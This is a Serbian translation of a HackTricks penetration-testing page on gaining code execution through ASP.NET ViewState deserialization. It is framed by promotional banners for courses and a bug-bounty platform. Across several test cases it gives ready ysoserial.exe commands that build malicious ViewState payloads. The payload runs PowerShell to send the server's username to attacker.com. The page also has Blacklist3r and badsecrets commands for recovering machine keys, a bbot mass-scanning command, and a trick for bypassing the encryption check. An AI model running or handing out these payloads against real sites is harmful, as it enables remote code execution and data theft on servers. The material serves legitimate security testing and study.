17 KiB
Iskorišćavanje __VIEWSTATE-a bez poznavanja tajni
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!
Drugi načini podrške HackTricks-u:
- Ako želite da vidite vašu kompaniju reklamiranu na HackTricks-u ili preuzmete HackTricks u PDF formatu proverite PLANOVE ZA PRETPLATU!
- Nabavite zvanični PEASS & HackTricks swag
- Otkrijte Porodicu PEASS, našu kolekciju ekskluzivnih NFT-ova
- Pridružite se 💬 Discord grupi ili telegram grupi ili nas pratite na Twitteru 🐦 @carlospolopm.
- Podelite svoje hakovanje trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Savet za bug bounty: registrujte se za Intigriti, premium platformu za bug bounty kreiranu od hakera, za hakere! Pridružite nam se na https://go.intigriti.com/hacktricks danas, i počnite da zarađujete nagrade do $100,000!
{% embed url="https://go.intigriti.com/hacktricks" %}
Šta je ViewState
ViewState služi kao podrazumevani mehanizam u ASP.NET-u za održavanje podataka stranice i kontrola preko veb stranica. Tokom renderovanja HTML-a stranice, trenutno stanje stranice i vrednosti koje treba sačuvati tokom postback-a se serijalizuju u base64 enkodirane stringove. Ovi stringovi se zatim smeštaju u skrivena polja ViewState-a.
Informacije ViewState-a mogu biti karakterisane sledećim svojstvima ili njihovim kombinacijama:
- Base64:
- Ovaj format se koristi kada su atributi
EnableViewStateMac
iViewStateEncryptionMode
postavljeni na false. - Base64 + MAC (Message Authentication Code) omogućen:
- Aktivacija MAC-a se postiže postavljanjem atributa
EnableViewStateMac
na true. Ovo pruža verifikaciju integriteta podataka ViewState-a. - Base64 + Enkriptovan:
- Enkripcija se primenjuje kada je atribut
ViewStateEncryptionMode
postavljen na true, obezbeđujući poverljivost podataka ViewState-a.
Test slučajevi
Slika je tabela koja detaljno opisuje različite konfiguracije ViewState-a u ASP.NET-u zasnovane na verziji .NET framework-a. Evo sažetka sadržaja:
- Za bilo koju verziju .NET-a, kada su i MAC i Enkripcija onemogućeni, MachineKey nije potreban, i stoga ne postoji primenjiva metoda za identifikaciju.
- Za verzije ispod 4.5, ako je MAC omogućen ali Enkripcija nije, potreban je MachineKey. Metoda za identifikaciju MachineKey-a se naziva "Blacklist3r."
- Za verzije ispod 4.5, bez obzira da li je MAC omogućen ili onemogućen, ako je Enkripcija omogućena, potreban je MachineKey. Identifikacija MachineKey-a je zadatak za "Blacklist3r - Future Development."
- Za verzije 4.5 i novije, sve kombinacije MAC-a i Enkripcije (bilo da su oba tačna, ili je jedan tačan a drugi netačan) zahtevaju MachineKey. MachineKey se može identifikovati koristeći "Blacklist3r."
Test slučaj: 1 – EnableViewStateMac=false i viewStateEncryptionMode=false
Takođe je moguće potpuno onemogućiti ViewStateMAC postavljanjem registarskog ključa AspNetEnforceViewStateMac
na nulu u:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}
Identifikacija ViewState atributa
Možete pokušati da identifikujete da li je ViewState zaštićen MAC-om snimanjem zahteva koji sadrži ovaj parametar pomoću BurpSuite-a. Ako Mac nije korišćen za zaštitu parametra, možete ga iskoristiti koristeći YSoSerial.Net
ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName"
Test slučaj 1.5 – Kao Test slučaj 1, ali ViewState kolačić nije poslat od strane servera
Programeri mogu ukloniti ViewState da postane deo HTTP zahteva (korisnik neće primiti ovaj kolačić).
Može se pretpostaviti da ako ViewState nije prisutan, njihova implementacija je sigurna od potencijalnih ranjivosti koje proizilaze iz ViewState deserijalizacije.
Međutim, to nije slučaj. Ako dodamo ViewState parametar u telo zahteva i pošaljemo naš serializovani payload kreiran korišćenjem ysoserial, i dalje ćemo moći postići izvršenje koda kao što je prikazano u Slučaju 1.
Test slučaj: 2 – .Net < 4.5 i EnableViewStateMac=true & ViewStateEncryptionMode=false
Da bismo omogućili ViewState MAC za specifičnu stranicu, potrebno je da napravimo sledeće promene na određenoj aspx datoteci:
<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%>
Možemo to uraditi i za ukupnu aplikaciju postavljanjem u web.config fajlu kako je prikazano ispod:
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<customErrors mode="Off" />
<machineKey validation="SHA1" validationKey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" />
<pages enableViewStateMac="true" />
</system.web>
</configuration>
Kako je parametar ovaj put zaštićen MAC-om, da biste uspešno izvršili napad, prvo nam je potreban korišćeni ključ.
Možete pokušati da koristite Blacklist3r(AspDotNetWrapper.exe) da biste pronašli korišćeni ključ.
AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --purpose=viewstate --modifier=6811C9FF --macdecode --TargetPagePath "/Savings-and-Investments/Application/ContactDetails.aspx" -f out.txt --IISDirPath="/"
--encrypteddata : __VIEWSTATE parameter value of the target application
--modifier : __VIWESTATEGENERATOR parameter value
Badsecrets je još jedan alat koji može identifikovati poznate machineKeys. Napisan je u Python-u, tako da za razliku od Blacklist3r-a, nema zavisnosti od Windows-a. Za .NET viewstate-ove, postoji "python blacklist3r" alat, koji je najbrži način za korišćenje.
Može se ili obezbediti direktno sa viewstate-om i generatorom:
pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --viewstate /wEPDwUJODExMDE5NzY5ZGQMKS6jehX5HkJgXxrPh09vumNTKQ== --generator EDD8C9AE
Ili, može se direktno povezati sa ciljnim URL-om i pokušati izdvojiti viewstate iz HTML-a:
pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --url http://vulnerablesite/vulnerablepage.aspx
Za pretragu ranjivih viewstate-ova u velikom obimu, u kombinaciji sa enumeracijom poddomena, može se koristiti badsecrets
BBOT modul:
bbot -f subdomain-enum -m badsecrets -t evil.corp
Ako imate sreće i ključ je pronađen, možete nastaviti sa napadom koristeći YSoSerial.Net:
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
--generator = {__VIWESTATEGENERATOR parameter value}
U slučajevima kada server ne šalje parametar _VIEWSTATEGENERATOR
, ne morate navesti parametar --generator
, ali ovi:
--apppath="/" --path="/hello.aspx"
Test Slučaj: 3 – .Net < 4.5 i EnableViewStateMac=true/false i ViewStateEncryptionMode=true
U ovom slučaju nije poznato da li je parametar zaštićen MAC-om. Tada je vrednost verovatno šifrovana i trebaće vam Machine Key da biste šifrovali svoj payload kako biste iskoristili ranjivost.
U ovom slučaju Blacklist3r modul je u fazi razvoja...
Pre .NET 4.5, ASP.NET može prihvatiti nešifrovan ___VIEWSTATE
_ parametar od korisnika čak i ako je ViewStateEncryptionMode
postavljen na Always. ASP.NET samo proverava prisustvo __VIEWSTATEENCRYPTED
parametra u zahtevu. Ako se ovaj parametar ukloni, i pošalje se nešifrovan payload, i dalje će biti obrađen.
Stoga, ako napadači pronađu način da dobiju Machinekey putem druge ranjivosti poput prolaska kroz fajlove, YSoSerial.Net komanda korišćena u Slučaju 2, može se koristiti za izvođenje RCE korišćenjem ranjivosti deserializacije ViewState-a.
- Uklonite
__VIEWSTATEENCRYPTED
parametar iz zahteva kako biste iskoristili ranjivost deserializacije ViewState-a, inače će se vratiti greška validacije Viewstate MAC-a i iskorišćavanje će propasti.
Test Slučaj: 4 – .Net >= 4.5 i EnableViewStateMac=true/false i ViewStateEncryptionMode=true/false osim ako su oba atributa postavljena na false
Možemo naterati korišćenje ASP.NET okvira navođenjem sledećeg parametra unutar web.config datoteke kako je prikazano ispod.
<httpRuntime targetFramework="4.5" />
Alternativno, ovo se može uraditi navođenjem sledeće opcije unutar parametra machineKey
u web.config fajlu.
compatibilityMode="Framework45"
Kao i prethodno, vrednost je šifrovana. Zatim, da bi poslao validan payload, napadaču je potreban ključ.
Možete pokušati da koristite Blacklist3r(AspDotNetWrapper.exe) da pronađete korišćeni ključ:
AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47LwhBs1fyLvTQu6BktfcwTicOfagaKXho90yGLlA0HrdGOH6x/SUsjRGY0CCpvgM2uR3ba1s6humGhHFyr/gz+EP0fbrlBEAFOrq5S8vMknE/ZQ/8NNyWLwg== --decrypt --purpose=viewstate --valalgo=sha1 --decalgo=aes --IISDirPath "/" --TargetPagePath "/Content/default.aspx"
--encrypteddata = {__VIEWSTATE parameter value}
--IISDirPath = {Directory path of website in IIS}
--TargetPagePath = {Target page path in application}
Za detaljniji opis IISDirPath i TargetPagePath pogledajte ovde
Ili, sa Badsecrets (sa vrednošću generatora):
cd badsecrets
python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6+305e/4MQG7G1v5GI3wL7D94W2OGpVGrI2LCqEwDoS/8JkE0rR4ak0= --generator B2774415
Kada se identifikuje važeći ključ mašine, sledeći korak je generisanje serializovanog payload-a korišćenjem YSoSerial.Net
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path="/content/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2" --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
Ako imate vrednost __VIEWSTATEGENERATOR
, možete koristiti parametar --generator
sa tom vrednošću i izostaviti parametre --path
i --apppath
Uspešno iskorišćavanje ranjivosti deserializacije ViewState-a dovest će do zahteva van opsega ka serveru pod kontrolom napadača, koji uključuje korisničko ime. Ovaj tip eksploatacije je prikazan u dokazu koncepta (PoC) koji se može pronaći kroz resurs pod nazivom "Eksploatisanje ViewState Deserializacije korišćenjem Blacklist3r i YsoSerial.NET". Za dalje detalje o tome kako proces eksploatacije funkcioniše i kako koristiti alate poput Blacklist3r za identifikaciju MachineKey-a, možete pregledati PoC uspešne eksploatacije koji je pružen.
Test Slučaj 6 – ViewStateUserKeys se koristi
Svojstvo ViewStateUserKey može se koristiti za odbranu od CSRF napada. Ako je takav ključ definisan u aplikaciji i pokušamo generisati ViewState payload sa metodama koje su do sada razmatrane, payload neće biti obrađen od strane aplikacije.
Potrebno je koristiti još jedan parametar kako biste pravilno kreirali payload:
--viewstateuserkey="randomstringdefinedintheserver"
Rezultat uspešne eksploatacije
Za sve test slučajeve, ako ViewState YSoSerial.Net payload radi uspešno, server odgovara sa "500 Internal server error" sa odgovorom "The state information is invalid for this page and might be corrupted" i dobijamo OOB zahtev.
Proverite dalje informacije ovde
Reference
- https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/
- https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817\
- https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/
- https://blog.blacklanternsecurity.com/p/introducing-badsecrets
Savet za bug bounty: Prijavite se na Intigriti, premium platformu za bug bounty kreiranu od hakera, za hakere! Pridružite nam se na https://go.intigriti.com/hacktricks danas, i počnite da zarađujete nagrade do $100,000!
{% embed url="https://go.intigriti.com/hacktricks" %}
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!
Drugi načini podrške HackTricks-u:
- Ako želite da vidite svoju kompaniju reklamiranu na HackTricks-u ili preuzmete HackTricks u PDF formatu proverite PLANOVE ZA PRIJAVU!
- Nabavite zvanični PEASS & HackTricks swag
- Otkrijte The PEASS Family, našu kolekciju ekskluzivnih NFT-ova
- Pridružite se 💬 Discord grupi ili telegram grupi ili nas pratite na Twitter-u 🐦 @carlospolopm.
- Podelite svoje hakovanje trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.